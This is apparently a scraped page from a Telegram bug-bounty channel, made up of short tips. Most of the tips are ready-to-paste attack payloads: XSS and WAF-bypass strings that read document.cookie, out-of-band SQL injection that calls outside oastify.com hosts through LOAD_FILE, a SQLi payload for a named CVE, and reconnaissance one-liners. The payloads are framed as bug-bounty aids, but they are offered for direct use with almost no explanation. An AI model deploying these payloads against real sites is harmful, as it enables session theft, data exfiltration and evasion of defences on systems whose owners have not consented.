BugCod3

📣

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥5❤4⚡3

1.98K views09:41

Bypass dot (.) block in XSS

❌ alert(document.cookie)
✅ alert(cookie)

Some times 'cookie' is a variable declared as 'document.cookie'

#XSS #BugBounty #Tips

➖

👤

📣

Please open Telegram to view this post

VIEW IN TELEGRAM

⚡5🔥4❤3

1.84K views09:41

Waf block any "</"

Try HTML injection </a> worked...

Payload:
</a<script>alert(document.cookie</script>

#BugBounty #Tips

➖

👤

📣

Please open Telegram to view this post

VIEW IN TELEGRAM

❤4⚡2🔥2

1.63K views00:02

A quick way to find "all" paths for Next.js websites:

console.log(__BUILD_MANIFEST.sortedPages)

👩‍💻 javascript:
console.log(__BUILD_MANIFEST.sortedPages.join('\n'));

#BugBounty #Tips #JS

➖

👤

📣

Please open Telegram to view this post

VIEW IN TELEGRAM

🔥8❤3⚡2👍1

1.92K views14:24

Add to your wordlist:

auth/jwt/register
auth-demo/register/classic
auth-demo/register/modern

#BugBounty #Tips
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

❤5⚡3🔥3👍1

1.88K views17:51

WAF AKAMAI Bypass
Lead to 30 XSS in large BBP🤯

"><input type="hidden" oncontentvisibilityautostatechange="confirm(/Bypassed/)" style="content-visibility:auto">

#BugBounty #Tips #Waf
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

❤5🔥5⚡3👍1

2.13K views16:50

Out-of-Band SQL Injection

Payload:

'11111111111' AND (SELECT LOAD_FILE('\\\\http://xde3imh45q8x9o4ovz1kea6cd3ju7kv9.oastify.com\\a'))

'11111111111' AND (SELECT CONCAT('', (SELECT SLEEP(5)), (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT 'http://14379q88wuz10svsm3so5exg47ayyqmf.oastify.com/a'))))))

#BugBounty #Tips #SQL
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

❤3👍3🔥2⚡1

2.28K views18:52

Extract all endpoints from a JS File and take your bug 🐞

#BugBounty #Tips
➖➖➖➖➖➖➖➖➖➖
👤 T.me/BugCod3BOT
📣 T.me/BugCod3

🔥5❤4👍3⚡1

2.45K views16:50

Finding Hidden Parameter & Potential XSS with Arjun + KXSS

arjun -q -u target -oT arjun && cat arjun | awk -F'[?&]' '{baseUrl=$1; for(i=2; i<=NF; i++) {split($i, param, "="); print baseUrl "?" param[1] "="}}' | kxss

#BugBounty #Tips
➖➖➖➖➖➖➖➖➖➖
📣 T.me/Root_Exploit
📣 T.me/BugCod3

❤3⚡2🔥2

2.63K views12:03

SQLI Injection
CVE: 2024-36837

Payload:

0-3661)%20OR%20MAKE_SET(8165=8165,7677)%20AND%20(4334=4334

#BugBounty #Tips

➖

👤

📣

Please open Telegram to view this post

VIEW IN TELEGRAM

❤2⚡2🔥2

1.99K views12:03

JS Recon for IP, Hostname, URL from Waybackurls + LazyEgg

waybackurls target | grep '\.js$' | awk -F '?' '{print $1}' | sort -u | xargs -I{} bash -c 'python lazyegg[.]py "{}" --js_urls --domains --ips' > jsurls && cat jsurls | grep '\.' | sort -u

#BugBounty #Tips

➖

👤

📣

Please open Telegram to view this post

VIEW IN TELEGRAM

⚡3❤2🔥2👍1

2.23K views13:14

XSS in Office.com. The + made a difference.

Payload:‍‍‍

`'>+<script>alert()</script>`

#BugBounty #Tips #XSS

➖

👤

📣

Please open Telegram to view this post

VIEW IN TELEGRAM

⚡6🔥6❤3

2.33K views18:51

XSS

Watch out for reflected XSS in the search parameter!

Payload:

"-->""/>Hack by Fagun</script><deTailS open x=">" ontoggle=(co\u006efirm)``>"

#XSS #BugBounty #Tips

➖

👤

📣